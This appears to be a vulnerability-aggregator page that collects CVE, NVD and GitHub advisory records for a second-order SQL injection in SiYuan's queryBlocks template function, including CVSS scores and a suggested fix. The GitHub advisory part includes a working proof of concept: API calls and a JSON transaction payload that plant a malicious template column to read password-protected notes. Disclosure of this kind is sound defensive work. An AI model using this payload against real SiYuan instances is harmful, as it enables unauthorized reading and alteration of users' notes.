SiYuan before v3.7.4 SQL Injection via queryBlocks template

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

SiYuan versions before v3.7.4 contain a second-order SQL injection vulnerability in attribute-view template columns that expose the queryBlocks function, which executes raw SQL using string substitution instead of parameterized queries. Attackers can distribute malicious SiYuan documents or packages with crafted template columns that execute arbitrary SQL on a victim's kernel when the package is imported and rendered, enabling read and write access across notebooks.

Source published

12 Aug 2026 19:07:51 UTC

Source modified

14 Aug 2026 16:52:12 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.8 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

CVSS 3.1 · 8.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

SiYuan versions before v3.7.4 contain a second-order SQL injection vulnerability in attribute-view template columns that expose the queryBlocks function, which executes raw SQL using string substitution instead of parameterized queries. Attackers can distribute malicious SiYuan documents or packages with crafted template columns that execute arbitrary SQL on a victim's kernel when the package is imported and rendered, enabling read and write access across notebooks.

Source published

12 Aug 2026 20:17:52 UTC

Source modified

24 Oct 2026 15:10:00 UTC

Observed here

25 Oct 2026 15:19:03 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.8 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 8.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

**CVE:** This vulnerability corresponds to [CVE-2026-72807](https://nvd.nist.gov/vuln/detail/CVE-2026-72807). ### Summary Attribute-view (AV) template columns are live-evaluated on every render and expose the `queryBlocks` template function, which runs raw SQL on the read-write database handle (`SelectBlocksRawStmt`, using `?`→argument string substitution rather than parameter binding). AV mutations are admin-gated, so this is not directly reader-injectable but it is a second-order vector: an attacker distributes a SiYuan document or AV package whose template column contains `.action{queryBlocks "<arbitrary SQL>"}` when a victim imports the package and renders the AV, the attacker's SQL executes on the victim's kernel (read and, via statement stacking, write). ### Details Doc-level `{{…}}` templates are rendered at insert-time and become static, so they are not re-evaluated on reader view. The residual is AV template columns, which are live-evaluated at render. `queryBlocks` passes its argument to `SelectBlocksRawStmt` with `?`→arg string substitution, not a bound parameter, on the main read-write handle (`88250/go-sqlite3` fork, statement-stacking capable) so an attacker-controlled template argument becomes arbitrary SQL. The SSTI surface is otherwise hardened: `BuiltInTemplateFuncs` deletes `env`, `expandenv`, and `getHostByName` so there is no environment/host/file/exec SSTI. `queryBlocks`-to-SQL is the remaining live-evaluated sink. ### Proof of Concept An AV template column set to `.action{queryBlocks "<sql>"}` executes `<sql>` against the read-write handle when the AV is rendered. Delivered second-order: a shared/imported document or AV package carrying such a column runs the embedded SQL on any kernel that imports and renders it. ### Proof of Concept Reproduced on a live instance. **1. Host doc + AV (admin, 6806):** ``` POST /api/filetree/createDocWithMd {notebook, path:"/ssti-poc", markdown:"host"} → DOC POST /api/av/renderAttributeView {id:"<AV>"} # materializes the AV ``` **2. Plant the malicious template column (one performTransactions call):** ```json {"reqId":1,"session":"poc","transactions":[{"doOperations":[ {"action":"addAttrViewCol","avID":"<AV>","id":"<COL>","name":"tpl","type":"template"}, {"action":"updateAttrViewColTemplate","avID":"<AV>","id":"<COL>","type":"template", "data":".action{range queryBlocks \"SELECT * FROM blocks WHERE root_id='<PROTECTED_DOC_ID>'\"}.action{.Markdown} .action{end}"}, {"action":"insertAttrViewBlock","avID":"<AV>","isDetached":true} ]}]} ``` **3. Trigger (render evaluates the template):** ``` POST /api/av/renderAttributeView {id:"<AV>"} ``` Result: the template cell renders `## LockedSection TOP_SECRET…` the `queryBlocks` SQL executed and returned the password-protected document's content, arbitrary SQL via template reading across the publish/password boundary. `queryBlocks` uses `?`→arg string substitution (not parameterized), so UNION and stacked writes are also possible. Delivered second-order, the same column executes on any kernel that imports and renders the AV. ### Impact An attacker who gets a victim to import a crafted document/AV package and render it achieves arbitrary SQL execution on the victim's kernel cross-notebook read and via stacking, write. Precondition is content delivery plus render (import of an attacker-supplied package), which bounds severity to Medium. Not directly reachable by an anonymous reader (AV creation is admin-gated); the injection travels in stored/imported template content. ### Suggested fix Parameterize `queryBlocks` bind the argument rather than substituting it into the SQL string or restrict the template function set available in AV columns as was done for the doc-template functions. Treat imported template content as untrusted at render time.

Source published

3 Sep 2026 22:49:30 UTC

Source modified

10 Sep 2026 15:25:42 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

Publisher rating · HIGH

SiYuan: Second-order SSTI to arbitrary SQL via attribute-view template column (queryBlocks): malicious imported package executes SQL on victim kernel in github.com/siyuan-note/siyuan/kernel

Source published

10 Sep 2026 14:48:42 UTC

Source modified

10 Sep 2026 15:15:14 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.